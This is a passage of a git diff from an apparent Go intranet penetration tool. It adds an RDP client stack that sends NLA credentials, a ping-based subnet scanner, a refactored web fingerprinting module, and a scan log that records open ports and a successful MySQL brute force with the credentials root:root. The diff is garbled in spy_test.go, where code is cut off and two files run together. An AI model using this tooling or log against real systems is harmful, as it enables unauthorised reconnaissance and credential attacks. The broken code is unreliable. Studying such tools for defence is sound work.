size := int(ln) + min + if size != len(s) { + return false + } + for i := 0; i < size; i++ { + b, _ := core.ReadByte(r) + if b != s[i] { + return false + } + } + + return true +} diff --git a/pkg/grdp/protocol/tpkt/tpkt.go b/pkg/grdp/protocol/tpkt/tpkt.go new file mode 100644 index 0000000..98f8670 --- /dev/null +++ b/pkg/grdp/protocol/tpkt/tpkt.go @@ -0,0 +1,229 @@ +package tpkt + +import ( + "bytes" + "encoding/hex" + "fmt" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/emission" + "Yasso/pkg/grdp/glog" + "Yasso/pkg/grdp/protocol/nla" +) + +// take idea from https://github.com/Madnikulin50/gordp + +/** + * Type of tpkt packet + * Fastpath is use to shortcut RDP stack + * @see http://msdn.microsoft.com/en-us/library/cc240621.aspx + * @see http://msdn.microsoft.com/en-us/library/cc240589.aspx + */ +const ( + FASTPATH_ACTION_FASTPATH = 0x0 + FASTPATH_ACTION_X224 = 0x3 +) + +/** + * TPKT layer of rdp stack + */ +type TPKT struct { + emission.Emitter + Conn *core.SocketLayer + ntlm *nla.NTLMv2 + secFlag byte + lastShortLength int + fastPathListener core.FastPathListener + ntlmSec *nla.NTLMv2Security +} + +func New(s *core.SocketLayer, ntlm *nla.NTLMv2) *TPKT { + t := &TPKT{ + Emitter: *emission.NewEmitter(), + Conn: s, + secFlag: 0, + ntlm: ntlm} + core.StartReadBytes(2, s, t.recvHeader) + return t +} + +func (t *TPKT) StartTLS() error { + return t.Conn.StartTLS() +} + +func (t *TPKT) StartNLA() error { + err := t.StartTLS() + if err != nil { + glog.Info("start tls failed", err) + return err + } + req := nla.EncodeDERTRequest([]nla.Message{t.ntlm.GetNegotiateMessage()}, nil, nil) + _, err = t.Conn.Write(req) + if err != nil { + glog.Info("send NegotiateMessage", err) + return err + } + + resp := make([]byte, 1024) + n, err := t.Conn.Read(resp) + if err != nil { + return fmt.Errorf("read %s", err) + } else { + glog.Debug("StartNLA Read success") + } + return t.recvChallenge(resp[:n]) +} + +func (t *TPKT) recvChallenge(data []byte) error { + glog.Debug("recvChallenge", hex.EncodeToString(data)) + tsreq, err := nla.DecodeDERTRequest(data) + if err != nil { + glog.Info("DecodeDERTRequest", err) + return err + } + glog.Debugf("tsreq:%+v", tsreq) + // get pubkey + pubkey, err := t.Conn.TlsPubKey() + glog.Debugf("pubkey=%+v", pubkey) + + authMsg, ntlmSec := t.ntlm.GetAuthenticateMessage(tsreq.NegoTokens[0].Data) + t.ntlmSec = ntlmSec + + encryptPubkey := ntlmSec.GssEncrypt(pubkey) + req := nla.EncodeDERTRequest([]nla.Message{authMsg}, nil, encryptPubkey) + _, err = t.Conn.Write(req) + if err != nil { + glog.Info("send AuthenticateMessage", err) + return err + } + resp := make([]byte, 1024) + n, err := t.Conn.Read(resp) + if err != nil { + glog.Error("Read:", err) + return fmt.Errorf("read %s", err) + } else { + glog.Debug("recvChallenge Read success") + } + return t.recvPubKeyInc(resp[:n]) +} + +func (t *TPKT) recvPubKeyInc(data []byte) error { + glog.Debug("recvPubKeyInc", hex.EncodeToString(data)) + tsreq, err := nla.DecodeDERTRequest(data) + if err != nil { + glog.Info("DecodeDERTRequest", err) + return err + } + glog.Debug("PubKeyAuth:", tsreq.PubKeyAuth) + //ignore + //pubkey := t.ntlmSec.GssDecrypt([]byte(tsreq.PubKeyAuth)) + domain, username, password := t.ntlm.GetEncodedCredentials() + credentials := nla.EncodeDERTCredentials(domain, username, password) + authInfo := t.ntlmSec.GssEncrypt(credentials) + req := nla.EncodeDERTRequest(nil, authInfo, nil) + _, err = t.Conn.Write(req) + if err != nil { + glog.Info("send AuthenticateMessage", err) + return err + } + + return nil +} + +func (t *TPKT) Read(b []byte) (n int, err error) { + return t.Conn.Read(b) +} + +func (t *TPKT) Write(data []byte) (n int, err error) { + buff := &bytes.Buffer{} + core.WriteUInt8(FASTPATH_ACTION_X224, buff) + core.WriteUInt8(0, buff) + core.WriteUInt16BE(uint16(len(data)+4), buff) + buff.Write(data) + glog.Debug("tpkt Write", hex.EncodeToString(buff.Bytes())) + return t.Conn.Write(buff.Bytes()) +} + +func (t *TPKT) Close() error { + return t.Conn.Close() +} + +func (t *TPKT) SetFastPathListener(f core.FastPathListener) { + t.fastPathListener = f +} + +func (t *TPKT) SendFastPath(secFlag byte, data []byte) (n int, err error) { + buff := &bytes.Buffer{} + core.WriteUInt8(FASTPATH_ACTION_FASTPATH|((secFlag&0x3)<<6), buff) + core.WriteUInt16BE(uint16(len(data)+3)|0x8000, buff) + buff.Write(data) + glog.Debug("TPTK SendFastPath", hex.EncodeToString(buff.Bytes())) + return t.Conn.Write(buff.Bytes()) +} + +func (t *TPKT) recvHeader(s []byte, err error) { + glog.Debug("tpkt recvHeader", hex.EncodeToString(s), err) + if err != nil { + t.Emit("error", err) + return + } + r := bytes.NewReader(s) + version, _ := core.ReadUInt8(r) + if version == FASTPATH_ACTION_X224 { + glog.Debug("tptk recvHeader FASTPATH_ACTION_X224, wait for recvExtendedHeader") + core.StartReadBytes(2, t.Conn, t.recvExtendedHeader) + } else { + t.secFlag = (version >> 6) & 0x3 + length, _ := core.ReadUInt8(r) + t.lastShortLength = int(length) + if t.lastShortLength&0x80 != 0 { + core.StartReadBytes(1, t.Conn, t.recvExtendedFastPathHeader) + } else { + core.StartReadBytes(t.lastShortLength-2, t.Conn, t.recvFastPath) + } + } +} + +func (t *TPKT) recvExtendedHeader(s []byte, err error) { + glog.Debug("tpkt recvExtendedHeader", hex.EncodeToString(s), err) + if err != nil { + return + } + r := bytes.NewReader(s) + size, _ := core.ReadUint16BE(r) + glog.Debug("tpkt wait recvData:", size) + core.StartReadBytes(int(size-4), t.Conn, t.recvData) +} + +func (t *TPKT) recvData(s []byte, err error) { + glog.Debug("tpkt recvData", hex.EncodeToString(s), err) + if err != nil { + return + } + t.Emit("data", s) + core.StartReadBytes(2, t.Conn, t.recvHeader) +} + +func (t *TPKT) recvExtendedFastPathHeader(s []byte, err error) { + glog.Debug("tpkt recvExtendedFastPathHeader", hex.EncodeToString(s)) + r := bytes.NewReader(s) + rightPart, err := core.ReadUInt8(r) + if err != nil { + glog.Error("TPTK recvExtendedFastPathHeader", err) + return + } + + leftPart := t.lastShortLength & ^0x80 + packetSize := (leftPart << 8) + int(rightPart) + core.StartReadBytes(packetSize-3, t.Conn, t.recvFastPath) +} + +func (t *TPKT) recvFastPath(s []byte, err error) { + glog.Debug("tpkt recvFastPath") + if err != nil { + return + } + + t.fastPathListener.RecvFastPath(t.secFlag, s) + core.StartReadBytes(2, t.Conn, t.recvHeader) +} diff --git a/pkg/grdp/protocol/x224/x224.go b/pkg/grdp/protocol/x224/x224.go new file mode 100644 index 0000000..e4cb0d0 --- /dev/null +++ b/pkg/grdp/protocol/x224/x224.go @@ -0,0 +1,272 @@ +package x224 + +import ( + "bytes" + "encoding/hex" + "errors" + "fmt" + + "Yasso/pkg/grdp/glog" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/emission" + "Yasso/pkg/grdp/protocol/tpkt" + "github.com/lunixbochs/struc" +) + +// take idea from https://github.com/Madnikulin50/gordp + +/** + * Message type present in X224 packet header + */ +type MessageType byte + +const ( + TPDU_CONNECTION_REQUEST MessageType = 0xE0 + TPDU_CONNECTION_CONFIRM = 0xD0 + TPDU_DISCONNECT_REQUEST = 0x80 + TPDU_DATA = 0xF0 + TPDU_ERROR = 0x70 +) + +/** + * Type of negotiation present in negotiation packet + */ +type NegotiationType byte + +const ( + TYPE_RDP_NEG_REQ NegotiationType = 0x01 + TYPE_RDP_NEG_RSP = 0x02 + TYPE_RDP_NEG_FAILURE = 0x03 +) + +/** + * Protocols available for x224 layer + */ + +const ( + PROTOCOL_RDP uint32 = 0x00000000 + PROTOCOL_SSL = 0x00000001 + PROTOCOL_HYBRID = 0x00000002 + PROTOCOL_HYBRID_EX = 0x00000008 +) + +/** + * Use to negotiate security layer of RDP stack + * In node-rdpjs only ssl is available + * @param opt {object} component type options + * @see request -> http://msdn.microsoft.com/en-us/library/cc240500.aspx + * @see response -> http://msdn.microsoft.com/en-us/library/cc240506.aspx + * @see failure ->http://msdn.microsoft.com/en-us/library/cc240507.aspx + */ +type Negotiation struct { + Type NegotiationType `struc:"byte"` + Flag uint8 `struc:"uint8"` + Length uint16 `struc:"little"` + Result uint32 `struc:"little"` +} + +func NewNegotiation() *Negotiation { + return &Negotiation{0, 0, 0x0008 /*constant*/, PROTOCOL_RDP} +} + +/** + * X224 client connection request + * @param opt {object} component type options + * @see http://msdn.microsoft.com/en-us/library/cc240470.aspx + */ +type ClientConnectionRequestPDU struct { + Len uint8 + Code MessageType + Padding1 uint16 + Padding2 uint16 + Padding3 uint8 + Cookie []byte + ProtocolNeg *Negotiation +} + +func NewClientConnectionRequestPDU(coockie []byte) *ClientConnectionRequestPDU { + x := ClientConnectionRequestPDU{0, TPDU_CONNECTION_REQUEST, 0, 0, 0, + coockie, NewNegotiation()} + x.Len = uint8(len(x.Serialize()) - 1) + return &x +} + +func (x *ClientConnectionRequestPDU) Serialize() []byte { + buff := &bytes.Buffer{} + core.WriteUInt8(x.Len, buff) + core.WriteUInt8(uint8(x.Code), buff) + core.WriteUInt16BE(x.Padding1, buff) + core.WriteUInt16BE(x.Padding2, buff) + core.WriteUInt8(x.Padding3, buff) + + buff.Write(x.Cookie) + if x.Len > 14 { + core.WriteUInt16LE(0x0A0D, buff) + } + struc.Pack(buff, x.ProtocolNeg) + return buff.Bytes() +} + +/** + * X224 Server connection confirm + * @param opt {object} component type options + * @see http://msdn.microsoft.com/en-us/library/cc240506.aspx + */ +type ServerConnectionConfirm struct { + Len uint8 + Code MessageType + Padding1 uint16 + Padding2 uint16 + Padding3 uint8 + ProtocolNeg *Negotiation +} + +/** + * Header of each data message from x224 layer + * @returns {type.Component} + */ +type DataHeader struct { + Header uint8 `struc:"little"` + MessageType MessageType `struc:"uint8"` + Separator uint8 `struc:"little"` +} + +func NewDataHeader() *DataHeader { + return &DataHeader{2, TPDU_DATA /* constant */, 0x80 /*constant*/} +} + +/** + * Common X224 Automata + * @param presentation {Layer} presentation layer + */ +type X224 struct { + emission.Emitter + transport core.Transport + requestedProtocol uint32 + selectedProtocol uint32 + dataHeader *DataHeader +} + +func New(t core.Transport) *X224 { + x := &X224{ + *emission.NewEmitter(), + t, + PROTOCOL_RDP | PROTOCOL_SSL | PROTOCOL_HYBRID, + PROTOCOL_SSL, + NewDataHeader(), + } + + t.On("close", func() { + x.Emit("close") + }).On("error", func(err error) { + x.Emit("error", err) + }) + + return x +} + +func (x *X224) Read(b []byte) (n int, err error) { + return x.transport.Read(b) +} + +func (x *X224) Write(b []byte) (n int, err error) { + buff := &bytes.Buffer{} + err = struc.Pack(buff, x.dataHeader) + if err != nil { + return 0, err + } + buff.Write(b) + + glog.Debug("x224 write:", hex.EncodeToString(buff.Bytes())) + return x.transport.Write(buff.Bytes()) +} + +func (x *X224) Close() error { + return x.transport.Close() +} + +func (x *X224) SetRequestedProtocol(p uint32) { + x.requestedProtocol = p +} + +func (x *X224) Connect() error { + if x.transport == nil { + return errors.New("no transport") + } + message := NewClientConnectionRequestPDU(make([]byte, 0)) + message.ProtocolNeg.Type = TYPE_RDP_NEG_REQ + message.ProtocolNeg.Result = uint32(x.requestedProtocol) + + glog.Debug("x224 sendConnectionRequest", hex.EncodeToString(message.Serialize())) + _, err := x.transport.Write(message.Serialize()) + x.transport.Once("data", x.recvConnectionConfirm) + return err +} + +func (x *X224) recvConnectionConfirm(s []byte) { + glog.Debug("x224 recvConnectionConfirm ", hex.EncodeToString(s)) + message := &ServerConnectionConfirm{} + if err := struc.Unpack(bytes.NewReader(s), message); err != nil { + glog.Error("ReadServerConnectionConfirm err", err) + return + } + glog.Debugf("message: %+v", *message.ProtocolNeg) + if message.ProtocolNeg.Type == TYPE_RDP_NEG_FAILURE { + glog.Error(fmt.Sprintf("NODE_RDP_PROTOCOL_X224_NEG_FAILURE with code: %d,see https://msdn.microsoft.com/en-us/library/cc240507.aspx", + message.ProtocolNeg.Result)) + //only use Standard RDP Security mechanisms + if message.ProtocolNeg.Result == 2 { + glog.Info("Only use Standard RDP Security mechanisms, Reconnect with Standard RDP") + x.Emit("error", errors.New("PROTOCOL_RDP")) + } + x.Close() + return + } + + if message.ProtocolNeg.Type == TYPE_RDP_NEG_RSP { + glog.Info("TYPE_RDP_NEG_RSP") + x.selectedProtocol = message.ProtocolNeg.Result + } + + if x.selectedProtocol == PROTOCOL_HYBRID_EX { + glog.Error("NODE_RDP_PROTOCOL_HYBRID_EX_NOT_SUPPORTED") + return + } + + x.transport.On("data", x.recvData) + + if x.selectedProtocol == PROTOCOL_RDP { + glog.Info("*** RDP security selected ***") + x.Emit("connect", x.selectedProtocol) + return + } + + if x.selectedProtocol == PROTOCOL_SSL { + glog.Info("*** SSL security selected ***") + err := x.transport.(*tpkt.TPKT).StartTLS() + if err != nil { + glog.Error("start tls failed:", err) + return + } + x.Emit("connect", x.selectedProtocol) + return + } + + if x.selectedProtocol == PROTOCOL_HYBRID { + glog.Info("*** NLA Security selected ***") + err := x.transport.(*tpkt.TPKT).StartNLA() + if err != nil { + glog.Error("start NLA failed:", err) + return + } + x.Emit("connect", x.selectedProtocol) + return + } +} + +func (x *X224) recvData(s []byte) { + glog.Debug("x224 recvData", hex.EncodeToString(s), "emit data") + // x224 header takes 3 bytes + x.Emit("data", s[3:]) +} diff --git a/pkg/netspy/example/ip_test.go b/pkg/netspy/example/ip_test.go new file mode 100644 index 0000000..3cbdcf8 --- /dev/null +++ b/pkg/netspy/example/ip_test.go @@ -0,0 +1,42 @@ +package example + +import ( + "fmt" + "net" + "strings" + "testing" +) + +func Test(t *testing.T) { + inters, err := net.Interfaces() + if err != nil { + panic(err) + } + for _, inter := range inters { + // 判断网卡是否开启,过滤本地环回接口 + if inter.Flags&net.FlagUp != 0 && !strings.HasPrefix(inter.Name, "lo") { + // 获取网卡下所有的地址 + addrs, err := inter.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + //判断是否存在IPV4 IP 如果没有过滤 + if strings.ContainsAny(ipnet.String(), ":") { + continue + } else { + //fmt.Println(ipnet) + minIp, maxIp := getCidrIpRange(ipnet.String()) + fmt.Println("CIDR最小IP:", minIp, " CIDR最大IP:", maxIp) + mask, _ := ipnet.Mask.Size() + fmt.Println("掩码:", getCidrIpMask(mask)) + fmt.Println("主机数量", getCidrHostNum(mask)) + fmt.Println("==============================") + } + } + } + } + } + return +} diff --git a/pkg/netspy/example/spy_test.go b/pkg/netspy/example/spy_test.go new file mode 100644 index 0000000..62123f7 --- /dev/null +++ b/pkg/netspy/example/spy_test.go @@ -0,0 +1,76 @@ +package example + +import ( + "fmt" + "strconv" + "strings" + "testing" +) + +func Test1(t *testing.T) { + minIp, maxIp := getCidrIpRange("192.168.248.1/22") + fmt.Println("CIDR最小IP:", minIp, " CIDR最大IP:", maxIp) + fmt.Println("掩码:", getCidrIpMask(24)) + fmt.Println("主机数量", getCidrHostNum(24)) +} +func getCidrIpRange(cidr string) (string, string) { + ip := strings.Split(cidr, "/")[0] + ipSegs := strings.Split(ip, ".") + maskLen, _ := strconv.Atoi(strings.Split(cidr, "/")[1]) + seg3MinIp, seg3MaxIp := getIpSeg3Range(ipSegs, maskLen) + seg4MinIp, seg4MaxIp := getIpSeg4Range(ipSegs, maskLen) + ipPrefix := ipSegs[0] + "." + ipSegs[1] + "." + + return ipPrefix + strconv.Itoa(seg3MinIp) + "." + strconv.Itoa(seg4MinIp), + ipPrefix + strconv.Itoa(seg3MaxIp) + "." + strconv.Itoa(seg4MaxIp) +} + +//计算得到CIDR地址范围内可拥有的主机数量 +func getCidrHostNum(maskLen int) uint { + cidrIpNum := uint(0) + var i uint = uint(32 - maskLen - 1) + for ; i >= 1; i-- { + cidrIpNum += 1 << i + } + return cidrIpNum +} + +//获取Cidr的掩码 +func getCidrIpMask(maskLen int) string { + // ^uint32(0)二进制为32个比特1,通过向左位移,得到CIDR掩码的二进制 + cidrMask := ^uint32(0) << uint(32-maskLen) + fmt.Println(fmt.Sprintf("%b \n", cidrMask)) + //计算CIDR掩码的四个片段,将想要得到的片段移动到内存最低8位后,将其强转为8位整型,从而得到 + cidrMaskSeg1 := uint8(cidrMask >> 24) + cidrMaskSeg2 := uint8(cidrMask >> 16) + cidrMaskSeg3 := uint8(cidrMask >> 8) + cidrMaskSeg4 := uint8(cidrMask & uint32(255)) + + return fmt.Sprint(cidrMaskSeg1) + "." + fmt.Sprint(cidrMaskSeg2) + "." + fmt.Sprint(cidrMaskSeg3) + "." + fmt.Sprint(cidrMaskSeg4) +} + +//得到第三段IP的区间(第一片段.第二片段.第三片段.第四片段) +func getIpSeg3Range(ipSegs []string, maskLen int) (int, int) { + if maskLen > 24 { + segIp, _ := strconv.Atoi(ipSegs[2]) + return segIp, segIp + } + ipSeg, _ := strconv.Atoi(ipSegs[2]) + return getIpSegRange(uint8(ipSeg), uint8(24-maskLen)) +} + +//得到第四段IP的区间(第一片段.第二片段.第三片段.第四片段) +func getIpSeg4Range(ipSegs []string, maskLen int) (int, int) { + ipSeg, _ := strconv.Atoi(ipSegs[3]) + segMinIp, segMaxIp := getIpSegRange(uint8(ipSeg), uint8(32-maskLen)) + return segMinIp + 1, segMaxIp +} + +//根据用户输入的基础IP地址和CIDR掩码计算一个IP片段的区间 +func getIpSegRange(userSegIp, offset uint8) (int, int) { + var ipSegMax uint8 = 255 + netSegIp := ipSegMax << offset + segMinIp := netSegIp & userSegIp + segMaxIp := userSegIp&(255< 0 { + return true + } + return false +} diff --git a/pkg/netspy/spy/spy.go b/pkg/netspy/spy/spy.go new file mode 100644 index 0000000..41e06a4 --- /dev/null +++ b/pkg/netspy/spy/spy.go @@ -0,0 +1,48 @@ +package spy + +import ( + "Yasso/core/logger" + "Yasso/pkg/netspy/icmp" + "fmt" + "sync" + "sync/atomic" +) + +func GoSpy(ips [][]string, check func(ip string) bool, thread int) []string { // 共有 + var online []string + var wg sync.WaitGroup + var ipc = make(chan []string, 10000) + var onc = make(chan string, 1000) + var count int32 + if ips == nil { + return online + } + go func() { + for _, ipg := range ips { + ipc <- ipg + } + defer close(ipc) + }() + for i := 0; i < thread; i++ { + wg.Add(1) + go func(ipc chan []string) { + for ipg := range ipc { + for _, ip := range ipg { + if icmp.Check(ip) { + online = append(online, ip) // 此时已经可以证明有一个网段存活了 + logger.Info(fmt.Sprintf("%s/24 network segment to survive", ip)) + onc <- fmt.Sprintf("%s/24\n", ip) + break // 存在一个主机则证明存活 + } else { + // 不存活 + continue + } + } + atomic.AddInt32(&count, int32(len(ipg))) + } + defer wg.Done() + }(ipc) + } + wg.Wait() + return online +} diff --git a/pkg/report/report.go b/pkg/report/report.go new file mode 100644 index 0000000..80c499f --- /dev/null +++ b/pkg/report/report.go @@ -0,0 +1 @@ +package report diff --git a/cmd/dismap.go b/pkg/webscan/dismap.go similarity index 86% rename from cmd/dismap.go rename to pkg/webscan/dismap.go index 97fa690..2866ae4 100644 --- a/cmd/dismap.go +++ b/pkg/webscan/dismap.go @@ -1,139 +1,15 @@ -package cmd +package webscan import ( "Yasso/config" + "Yasso/core/logger" "fmt" - "github.com/spf13/cobra" - "math" "regexp" "runtime" "strconv" - "sync" "time" ) -func init() { - rootCmd.AddCommand(DisMapCmd) - DisMapCmd.Flags().DurationVarP(&TimeDuration, "time", "t", 1*time.Second, "Set timeout (eg.) -t 50ms(ns,ms,s,m,h)") - DisMapCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path") - DisMapCmd.Flags().StringVarP(&Ports, "ports", "p", "", "Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389") - DisMapCmd.Flags().IntVarP(&Runtime, "runtime", "r", 508, "Set scanner ants pool thread") - DisMapCmd.Flags().BoolVar(&PingBool, "ping", false, "Use ping to scan alive host") - DisMapCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it ") -} - -var lock sync.Mutex -var DisMapCmd = &cobra.Command{ - Use: "webscan", - Short: "Use dismap module discover Web fingerprints (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - return - } - var ports []int - hosts, _ := ResolveIPS(Hosts) - var runhosts []string - - if PingBool == true { - runhosts = execute(hosts, false) - } else { - runhosts = hosts - } - // 解析获取ip地址 - - if Ports != "" { - ports, _ = ResolvePORTS(Ports) - } else { - ports, _ = ResolvePORTS(config.DisMapPorts) - } - Println(fmt.Sprintf("[Yasso] Find Host %v,Need scan %v", len(runhosts), len(runhosts)*len(ports))) - if len(hosts) <= 0 || len(ports) <= 0 { - // resolve failed - return - } - DisMapScan(runhosts, ports) - Println("[Yasso] scan Complete !") - }, -} - -func DisMapScan(host []string, ports []int) { - var wg sync.WaitGroup - for _, ip := range host { - wg.Add(1) - EachDisMap(ip, ports, &wg, nil) - } - wg.Wait() -} - -func DisMapScanJson(in *[]JsonOut, ports []int) (out []JsonOut) { - var wg sync.WaitGroup - for _, v := range *in { - wg.Add(1) - s := EachDisMap(v.Host, ports, &wg, &v) - out = append(out, s) - } - wg.Wait() - return out -} - -func EachDisMap(host string, ports []int, w *sync.WaitGroup, v *JsonOut) JsonOut { - defer w.Done() - var wg sync.WaitGroup - // 计算一个协程需要扫描多少端口 - var thread int - // 如果端口数小于协程数量,thread为端口数量 - if len(ports) <= Runtime { - thread = len(ports) - } else { - // 计算端口数量 - thread = Runtime // 协程数量 - } - num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量 - - // 分割端口 - all := map[int][]int{} - for i := 1; i <= thread; i++ { - for j := 0; j < num; j++ { - tmp := (i-1)*num + j - if tmp < len(ports) { - all[i] = append(all[i], ports[tmp]) - } - } - } - //Println(all) - - for i := 1; i <= thread; i++ { - wg.Add(1) - tmp := all[i] - go func(out *JsonOut) { - defer wg.Done() - // 1,2 2,3 - //Println(i,thread) - for _, port := range tmp { - // 遍历每一个端口列表 - DisMapConn(host, port, v) - } - }(v) - } - wg.Wait() - return *v -} - -func DisMapConn(host string, port int, out *JsonOut) bool { - - url := ParseUrl(host, strconv.Itoa(port)) - for _, r := range Identify(url, TimeDuration) { - if r.RespCode != "" { - lock.Lock() - out.WebHosts = append(out.WebHosts, fmt.Sprintf("%v %v %v %v", r.RespCode, r.Url, r.Result, r.Title)) - Println(fmt.Sprintf("[+] %v %v %v %v", r.RespCode, r.Url, r.Result, r.Title)) - lock.Unlock() - } - } - return true -} - type IdentifyResult struct { Type string RespCode string @@ -143,6 +19,16 @@ type IdentifyResult struct { Title string } +func DisMapConn(host string, port int, timeout time.Duration) bool { + url := ParseUrl(host, strconv.Itoa(port)) + for _, r := range Identify(url, timeout) { + if r.RespCode != "" { + logger.Success(fmt.Sprintf("%v %v %v [%v]", r.Url, r.RespCode, r.Result, r.Title)) + } + } + return true +} + func Identify(url string, timeout time.Duration) []IdentifyResult { var DefaultFavicon string var CustomFavicon string diff --git a/cmd/fasthttp.go b/pkg/webscan/http.go similarity index 77% rename from cmd/fasthttp.go rename to pkg/webscan/http.go index 5401faf..8d195ff 100644 --- a/cmd/fasthttp.go +++ b/pkg/webscan/http.go @@ -1,4 +1,4 @@ -package cmd +package webscan import ( "Yasso/config" @@ -6,7 +6,6 @@ import ( "crypto/md5" "crypto/tls" "fmt" - "golang.org/x/net/proxy" "golang.org/x/text/encoding/simplifiedchinese" "io/ioutil" "net/http" @@ -31,32 +30,15 @@ type RespLab struct { } func FaviconMd5(Url string, timeout time.Duration, Path string) string { - var dial proxy.Dialer - var client *http.Client - if ProxyHost != "" { - dial, _ = ConnBySOCKS5() - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - Dial: dial.Dial, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } - } else { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } + client := &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, } - Url = Url + "/favicon.ico" req, err := http.NewRequest("GET", Url, nil) if err != nil { @@ -89,30 +71,14 @@ func DefaultRequests(Url string, timeout time.Duration) []RespLab { var res []string // 设置http请求客户端 - var dial proxy.Dialer - var client *http.Client - if ProxyHost != "" { - dial, _ = ConnBySOCKS5() - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - Dial: dial.Dial, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } - } else { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } + client := &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, } req, err := http.NewRequest("GET", Url, nil) @@ -144,30 +110,15 @@ func DefaultRequests(Url string, timeout time.Duration) []RespLab { } else { redirect_url = Url + redirect_path } - var client *http.Client - if ProxyHost != "" { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - Dial: dial.Dial, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } - } else { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, } - // 设置重定向请求 req, err := http.NewRequest("GET", redirect_url, nil) if err != nil { @@ -192,30 +143,15 @@ func DefaultRequests(Url string, timeout time.Duration) []RespLab { } else { redirect_url = Url + redirectPath } - var client *http.Client - if ProxyHost != "" { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - Dial: dial.Dial, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } - } else { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - } + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, } - req, err := http.NewRequest("GET", redirect_url, nil) if err != nil { return nil @@ -328,29 +264,13 @@ func CustomRequests(Url string, timeout time.Duration, Method string, Path strin if strings.HasSuffix(Path, "/") { Url = Url + "/" } - - var client *http.Client - var dial proxy.Dialer - if ProxyHost != "" { - dial, _ = ConnBySOCKS5() - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - Dial: dial.Dial, - }, - } - } else { - client = &http.Client{ - Timeout: time.Duration(timeout), - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - } + client := &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, } - // Send Http requests - body_byte := bytes.NewBuffer([]byte(Body)) req, err := http.NewRequest(Method, Url, body_byte) if err != nil { diff --git a/result.txt b/result.txt new file mode 100644 index 0000000..4d1c8c4 --- /dev/null +++ b/result.txt @@ -0,0 +1,1160 @@ +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:912 is open +[*] 192.168.248.1:902 is open +[*] 192.168.248.1:3306 is open +[*] 192.168.248.1:4780 is open +[*] 192.168.248.1:4781 is open +[*] 192.168.248.1:5040 is open +[*] 192.168.248.1:5357 is open +[*] 192.168.248.1:5985 is open +[*] 192.168.248.1:7680 is open +[*] 192.168.248.1:47001 is open +[*] 192.168.248.1:49694 is open +[*] 192.168.248.1:49666 is open +[*] 192.168.248.1:49693 is open +[*] 192.168.248.1:49690 is open +[*] 192.168.248.1:49668 is open +[*] 192.168.248.1:49667 is open +[*] 192.168.248.1:49664 is open +[*] 192.168.248.1:49665 is open +[+] brute 192.168.248.1 success [root:root][mysql] +[+] brute 192.168.248.1 success [root:root][mysql] +[+] http://192.168.248.1:5357 503 [Microsoft-HTTPAPI] [None] +[+] http://192.168.248.1:47001 404 [Microsoft-HTTPAPI] [None] +[+] http://192.168.248.1:49690 200 [Sunlogin] [None] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN 